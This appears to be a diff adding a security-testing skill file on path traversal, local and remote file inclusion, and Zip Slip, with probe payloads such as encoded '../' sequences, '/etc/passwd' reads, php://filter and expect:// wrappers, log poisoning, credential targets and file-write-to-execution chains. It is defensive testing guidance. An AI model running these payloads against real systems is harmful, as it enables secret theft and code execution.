Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.
|
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: path-traversal-lfi-rfi
|
|
3
|
+
description: Path traversal and file inclusion testing for local/remote file access and code execution
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Path Traversal / LFI / RFI
|
|
7
|
+
|
|
8
|
+
Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Path Traversal**
|
|
13
|
+
- Read files outside intended roots via `../`, encoding, normalization gaps
|
|
14
|
+
- Write or create files outside intended roots, then evaluate framework-controlled resolution paths separately from direct web access
|
|
15
|
+
|
|
16
|
+
**Local File Inclusion (LFI)**
|
|
17
|
+
- Include server-side files into interpreters/templates
|
|
18
|
+
|
|
19
|
+
**Remote File Inclusion (RFI)**
|
|
20
|
+
- Include remote resources (HTTP/FTP/wrappers) for code execution
|
|
21
|
+
|
|
22
|
+
**Archive Extraction**
|
|
23
|
+
- Zip Slip: write outside target directory upon unzip/untar
|
|
24
|
+
|
|
25
|
+
**Normalization Mismatches**
|
|
26
|
+
- Server/proxy differences (nginx alias/root, upstream decoders)
|
|
27
|
+
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
|
|
28
|
+
|
|
29
|
+
## High-Value Targets
|
|
30
|
+
|
|
31
|
+
**Unix**
|
|
32
|
+
- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`
|
|
33
|
+
- SSH keys, cloud creds, service configs/logs
|
|
34
|
+
|
|
35
|
+
**Windows**
|
|
36
|
+
- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs
|
|
37
|
+
|
|
38
|
+
**Application**
|
|
39
|
+
- Source code templates and server-side includes
|
|
40
|
+
- Secrets in env dumps, framework caches
|
|
41
|
+
|
|
42
|
+
## Reconnaissance
|
|
43
|
+
|
|
44
|
+
### Surface Map
|
|
45
|
+
|
|
46
|
+
- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`
|
|
47
|
+
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
|
|
48
|
+
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
|
|
49
|
+
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
|
|
50
|
+
- Reverse proxies and static file servers (nginx, CDN) in front of app handlers
|
|
51
|
+
|
|
52
|
+
### Capability Probes
|
|
53
|
+
|
|
54
|
+
- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
|
|
55
|
+
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, and Unicode lookalikes only where a documented conversion layer maps them to path syntax
|
|
56
|
+
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
|
|
57
|
+
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
|
|
58
|
+
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
|
|
59
|
+
|
|
60
|
+
## Detection Channels
|
|
61
|
+
|
|
62
|
+
### Direct
|
|
63
|
+
|
|
64
|
+
- Response body discloses file content (text, binary, base64)
|
|
65
|
+
- Error pages echo real paths
|
|
66
|
+
|
|
67
|
+
### Error-Based
|
|
68
|
+
|
|
69
|
+
- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations
|
|
70
|
+
|
|
71
|
+
### OAST
|
|
72
|
+
|
|
73
|
+
- For RFI or URL-capable resource loaders, a correlated callback confirms server-side resolution/fetch. It does not by itself prove inclusion or execution; use a separate response or side-effect oracle for that claim.
|
|
74
|
+
|
|
75
|
+
### Side Effects
|
|
76
|
+
|
|
77
|
+
- Archive extraction writes files unexpectedly outside target
|
|
78
|
+
- Verify with directory listings or follow-up reads
|
|
79
|
+
|
|
80
|
+
## Key Vulnerabilities
|
|
81
|
+
|
|
82
|
+
### Path Traversal Bypasses
|
|
83
|
+
|
|
84
|
+
**Encodings**
|
|
85
|
+
- Single/double URL-encoding, mixed case, UTF-16 or Unicode conversion only when present in the stack, and path normalization oddities
|
|
86
|
+
|
|
87
|
+
**Mixed Separators**
|
|
88
|
+
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
|
|
89
|
+
|
|
90
|
+
**Dot Tricks**
|
|
91
|
+
- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
|
|
92
|
+
|
|
93
|
+
**Absolute Path Injection**
|
|
94
|
+
- Bypass joins by supplying a rooted path
|
|
95
|
+
|
|
96
|
+
**Alias/Root Mismatch**
|
|
97
|
+
- nginx alias without trailing slash with nested location allows `../` to escape
|
|
98
|
+
- Try `/static/../etc/passwd` and ";" variants (`..;`)
|
|
99
|
+
|
|
100
|
+
**Upstream vs Backend Decoding**
|
|
101
|
+
- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots
|
|
102
|
+
|
|
103
|
+
### LFI Wrappers and Techniques
|
|
104
|
+
|
|
105
|
+
**PHP Wrappers**
|
|
106
|
+
- `php://filter/convert.base64-encode/resource=index.php` (read source)
|
|
107
|
+
- `zip://archive.zip#file.txt`
|
|
108
|
+
- `data://text/plain;base64`
|
|
109
|
+
- `expect://` (if enabled)
|
|
110
|
+
|
|
111
|
+
**Log/Session Poisoning**
|
|
112
|
+
- Inject PHP/templating payloads into access/error logs or session files then include them
|
|
113
|
+
|
|
114
|
+
**Upload Temp Names**
|
|
115
|
+
- Include temporary upload files before relocation; race with scanners
|
|
116
|
+
|
|
117
|
+
**Proc and Caches**
|
|
118
|
+
- `/proc/self/environ` and framework-specific caches for readable secrets
|
|
119
|
+
|
|
120
|
+
**Legacy Tricks**
|
|
121
|
+
- Null-byte (`%00`) truncation in older stacks; path length truncation
|
|
122
|
+
|
|
123
|
+
### Template Engines
|
|
124
|
+
|
|
125
|
+
- PHP include/require; Smarty/Twig/Blade with dynamic template names
|
|
126
|
+
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
|
|
127
|
+
- Seek dynamic template resolution from user input (theme/lang/template)
|
|
128
|
+
|
|
129
|
+
### RFI Conditions
|
|
130
|
+
|
|
131
|
+
**Requirements**
|
|
132
|
+
- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)
|
|
133
|
+
- Custom fetchers that eval/execute retrieved content
|
|
134
|
+
- SSRF-to-exec bridges
|
|
135
|
+
|
|
136
|
+
**Protocol Handlers**
|
|
137
|
+
- http, https, ftp; language-specific stream handlers
|
|
138
|
+
|
|
139
|
+
**Exploitation**
|
|
140
|
+
- Host a minimal payload that proves code execution
|
|
141
|
+
- Prefer OAST beacons or deterministic output over heavy shells
|
|
142
|
+
- Chain with upload or log poisoning when remote includes are disabled
|
|
143
|
+
|
|
144
|
+
### Archive Extraction (Zip Slip)
|
|
145
|
+
|
|
146
|
+
- Files within archives containing `../` or absolute paths escape target extract directory
|
|
147
|
+
- Test multiple formats: zip/tar/tgz/7z
|
|
148
|
+
- Verify symlink handling and path canonicalization prior to write
|
|
149
|
+
- Impact: overwrite config/templates or drop webshells into served directories
|
|
150
|
+
|
|
151
|
+
### File Write to Execution
|
|
152
|
+
|
|
153
|
+
Characterize the write primitive before choosing a payload:
|
|
154
|
+
|
|
155
|
+
- create vs overwrite vs append; atomic replace vs streamed write
|
|
156
|
+
- absolute vs relative path; controllable directory, filename, extension, and bytes
|
|
157
|
+
- text encoding, newline conversion, templating, compression, or report generation applied before write
|
|
158
|
+
- target process permissions and whether symlinks are followed
|
|
159
|
+
- immediate load, hot reload, cache invalidation, restart, scheduled task, or user action required
|
|
160
|
+
|
|
161
|
+
Then inventory generic execution and influence surfaces:
|
|
162
|
+
|
|
163
|
+
- view/template search paths and implicit rendering
|
|
164
|
+
- module, controller, plugin, package, or class autoload directories
|
|
165
|
+
- application bootstrap files and language package initializers
|
|
166
|
+
- server/user configuration that changes handler or interpreter behavior
|
|
167
|
+
- job definitions, hooks, startup scripts, cron/task inputs, and CI workspace files
|
|
168
|
+
- logs, sessions, caches, generated sources, and compiled-template directories later included or evaluated
|
|
169
|
+
|
|
170
|
+
Do not require the malicious file to be directly web-accessible. An HTTP extension allowlist can block `/path/payload.ext` while an internal view engine, autoloader, or interpreter still opens and executes that file through a clean route. Trace public request filtering and internal file resolution as separate security boundaries.
|
|
171
|
+
|
|
172
|
+
Test search order with candidate marker files or filesystem traces. Trigger the normal route/action that causes internal resolution. Record whether the framework creates, compiles, caches, or executes the artifact and what reload condition is required.
|
|
173
|
+
|
|
174
|
+
## Testing Methodology
|
|
175
|
+
|
|
176
|
+
1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
|
|
177
|
+
2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
|
|
178
|
+
3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
|
|
179
|
+
4. **Compare behaviors** - Web server vs application behavior
|
|
180
|
+
5. **Characterize writes** - Determine create/overwrite/append, path and byte control, permissions, and reload/trigger conditions
|
|
181
|
+
6. **Map resolvers** - Test template/view search paths, autoloaders, plugins, configs, jobs, and other internal consumers separately from direct file serving
|
|
182
|
+
7. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution through a proven resolver or interpreter
|
|
183
|
+
|
|
184
|
+
## Validation
|
|
185
|
+
|
|
186
|
+
1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control
|
|
187
|
+
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
|
|
188
|
+
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
|
|
189
|
+
4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
|
|
190
|
+
5. For file-write chains, first prove a canary is created at the intended path, then prove the normal resolver loads it; document cache/reload requirements
|
|
191
|
+
6. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
|
192
|
+
|
|
193
|
+
## False Positives
|
|
194
|
+
|
|
195
|
+
- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
|
|
196
|
+
- Canonicalized paths constrained to an allowlist/root after normalization
|
|
197
|
+
- Wrappers disabled and includes using constant templates only
|
|
198
|
+
- Archive extractors that sanitize paths and enforce destination directories
|
|
199
|
+
|
|
200
|
+
## Impact
|
|
201
|
+
|
|
202
|
+
- Sensitive configuration/source disclosure → credential and key compromise
|
|
203
|
+
- Code execution via inclusion of attacker-controlled content or overwritten templates
|
|
204
|
+
- Persistence via dropped files in served directories; lateral movement via revealed secrets
|
|
205
|
+
- Supply-chain impact when report/template engines execute attacker-influenced files
|
|
206
|
+
|
|
207
|
+
## Pro Tips
|
|
208
|
+
|
|
209
|
+
1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise
|
|
210
|
+
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings
|
|
211
|
+
3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
|
|
212
|
+
4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
|
|
213
|
+
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
|
|
214
|
+
6. When direct execution is blocked, enumerate internal search paths before assuming the write is low impact
|
|
215
|
+
|
|
216
|
+
## Summary
|
|
217
|
+
|
|
218
|
+
Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.
|